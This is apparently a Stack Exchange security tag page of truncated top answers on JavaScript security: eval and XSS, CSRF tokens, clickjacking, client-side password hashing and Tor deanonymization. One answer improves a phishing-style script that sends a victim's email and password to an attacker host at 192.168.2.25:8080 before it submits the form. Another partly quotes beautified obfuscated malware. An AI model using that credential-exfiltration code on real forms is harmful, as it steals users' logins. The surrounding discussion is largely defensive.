Tag Info

Hot answers tagged

33

I know HTTPS can solve the problem, but I am still instructed to encode the password before sending it over network as per our organizational guidelines. This really defines your situation. Basically, you have a simple solution that you should use anyway (use HTTPS), if only because without HTTPS an active attacker could hijack the connection after the ...


23

eval() executes a string of characters as code. You use eval() precisely because the string contents are not known in advance, or even generated server-side; basically, you need eval() because the JavaScript itself will generate the string from data which is available only dynamically, in the client. Thus, eval() makes sense in situations where the ...


22

You have no security without authentication Just to explain it further, I am using JCryption API for encrypting the password using AES, so the value transmitted over network is AES(SHA1(MD5(plain password))) now I want to replace MD5 with Bcrypt only. Rest of the things remain unchanged. This approach works even against "Man in the middle ...


17

What stops a malicious site from obtaining the anti-CSRF token is the Same Origin Policy. The Same Origin Policy, or SOP, is at the browser level, and defines where JavaScript is allowed to communicate. JavaScript on example.com cannot call example.org to get data. Also, JavaScript on http://www.example.com/ cannot call http://www.example.com:8080/ as the ...


15

I do not know where you got that information but wherever you got it, the official documentation is more reliable: We configure NoScript to allow JavaScript by default in Tor Browser because many websites will not work with JavaScript disabled. If you disable JavaScript by default but then allow a few websites to run scripts (the way most ...


10

eval() is a possible vector for cross-site scripting. Under normal circumstances, an attacker attempting XSS might want to get script <script></script> tags past whatever encoding, filters or firewalls might be in place. If eval() is there operating on user input, it eliminates the need for script tags. Eval is present in many malicious scripts ...


10

You're lucky: it's Windows-specific. First, I took the code, and went to jsbeautifier.org to beautify it: var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110"; function do193() { return ',"h'; }; function do112() { return ') { '; }; function do127() { return 'r xa'; }; function do88() { return '= 0;'; }; function ...


9

The best solution is: don't. If you're sending the passwords over HTTPS, hashing them provides no additional security. If you're sending the passwords over plain HTTP, an attacker can grab the hashed password and use it to log in themselves; alternatively, they can tamper with the JavaScript to send the password to them before hashing. In either case, ...


6

I think your question is a bit too broad. Session hijacking can be done on different levels, and it's not just copying something between browsers. For example: A malicious network admin / proxy admin could intercept your session ID and re-use this also. A vulnerable website could be exploited using cross site scripting, where an attacker can gain ...


5

I think @neil-smithline is right, when I go to the What's my IP address page I don't get asked for my location, but there is a button which says "Location not accurate? Update your IP location" which then does ask for the browsers geolocation. As for how your browser knows your location when you don't have a GPS in your laptop, from the article ...


4

bcrypt is not meant for this type of client-side hashing A key property of bcrypt is that, when run two independent times with the same plaintext, most implementations will produce different hashes. This is due to the use of a salt, which is designed to make it difficult to see if two different users have the same password. In contrast, login forms need to ...


4

Since you seem committed to implement this guideline, I'll directly answer your question. But understand that BCrypt and MD5 are vastly different. BCrypt deliberately does substantial work, while MD5 does considerably less, so you're going to need to deal with promises: <!-- https://github.com/nevins-b/javascript-bcrypt --> <script ...


3

The most famous has got to be the Samy worm: Samy (also known as JS.Spacehero) is a XSS worm that was designed to propagate across the MySpace social-networking site written by Samy Kamkar. Within just 20 hours of its October 4, 2005 release, over one million users had run the payload making Samy the fastest spreading virus of all time. The ...


3

You could use a scanner to guide you, but you need start with secure coding. Use a scanner to test for verification after you have implemented the secure coding concepts. First rule of secure coding is See input as evil. The first step to not trusting input in a web application is to encode (not filter) all user input. So, your input example will be HTML ...


3

You are talking about ClickJacking attacks. (The title was different before my edit) Can any one bypass it? Yes, this can be bypassed when loading the page in an iframe. Unfortunately I do not have the code at the moment. However, what can be done is disable javascript while loading the iframe. This will bypass your frame busting code. (There's no such ...


2

By looking at this payload alone, without the rest of the code, it's probably hard to understand it. Let's say there is JS and PHP code in a website: <script> var jsvar; jsvar = "<?php echo $phpvar;?>"; </script> What this code does is it simply assigns a user controlled variable from PHP to the JS variable jsvar. If the PHP variable ...


2

I would make some amends to your script: img = new Image(); img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass); setTimeout('document.forms[0].submit();', 3000); return false; This should send the data to the attacker's page and then submit the form after 3 seconds, once the browser has had chance to ...


2

Obfuscating in Javascript is usually done by generating the code dynamically. While you find older examples which make extensive use of chr(..) or base64 or lots of string concatenations detection heuristics improved to flag this kind of code as potentially malicious so that the attacked improved their methods. Typical current examples like this are not ...


2

As explained by others, one can use eval to dynamically create code which makes it harder to understand the control flow of the program. But, I don't consider eval much more evil than all the other ways to generate code at run time, like document.write(...), object.innerHTML(...) and others. While these are mostly used to change the DOM of the program they ...


2

In addition to the great points made here, I would like to clarify: what you are essentially dealing with any time you use eval() is having to answer the following questions: Is it worth securing? How thoroughly can I secure it and is that level acceptable? How confident can I be that it will stay secure over future evolutions of the codebase and ...


2

Can any one bypass it? Yes. This can be one with the sandbox attribute. With this attribute execution of Javascript within the iframe can be disabled and thus your frame buster code will not be executed. Also, some clients might have execution of Javascript disabled like when using the NoScript browser extension. For more information see ...


2

No, you seem to have a misunderstanding of how encryption and obfuscation work. Encryption provides confidentiality: a message is hidden with a mechanism using a shared secret from all parties not possessing that secret. Obfuscation refers to a number of techniques employed to make, in general, a scripting programming language application difficult to ...


2

There are a number of known vulnerabilities, that have been used, to deanonymize Tor users via leveraging JavaScript. The first major incident where this happened was with the "Freedom Hosting" seizure by the FBI. The FBI kept servers online, and then installed javascript paylods which exploited a zero-day exploit in Firefox. This caused the computers to ...


2

It is not standardized how a web browser saves the data it gets asked to store in localstorage. But it is very unlikely that it will be implemented in a way that it ends up as a valid executable file, and even when it would be, it is unlikely to be a file you or your operating system would ever execute. Security vulnerabilities in the implementation details ...


1

From the scenarion you describe, she rather has been a victim of a drive-by download attack that leads to installing -in most cases- adware or spyware but this attack can be even more dangerous depending on the malware that has been installed. This attack uses the browser vulnerabilities or the browser's plugins vulnerabilities using mainly malicious ...


1

Any time you include script from an external domain you are trusting that domain. e.g. if you site is example.com and you have the following code on your home page <script src="//example.edu/tracking_script.js"></script> then example.com is fully trusting example.edu not to do anything malicious inside tracking_script.js. example.edu will have ...


1

It depends on context. Which are of basic 5 types: HTML context In the body of an existing HTML tag or at the start and end of the page outside of the tag. <some_html_tag> user_input </some_html_tag> In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an ...


1

There are a few JavaScript deobfuscating services. http://jsbeautifier.org/ gives the best results for your particular script. However even after deobfuscation this scripts contains several binary strings, encoded as text, from which script algorithm tries to pull individual bytes in defined order to create another script. It would require further analysis ...



Only top voted, non community-wiki answers of a minimum length are eligible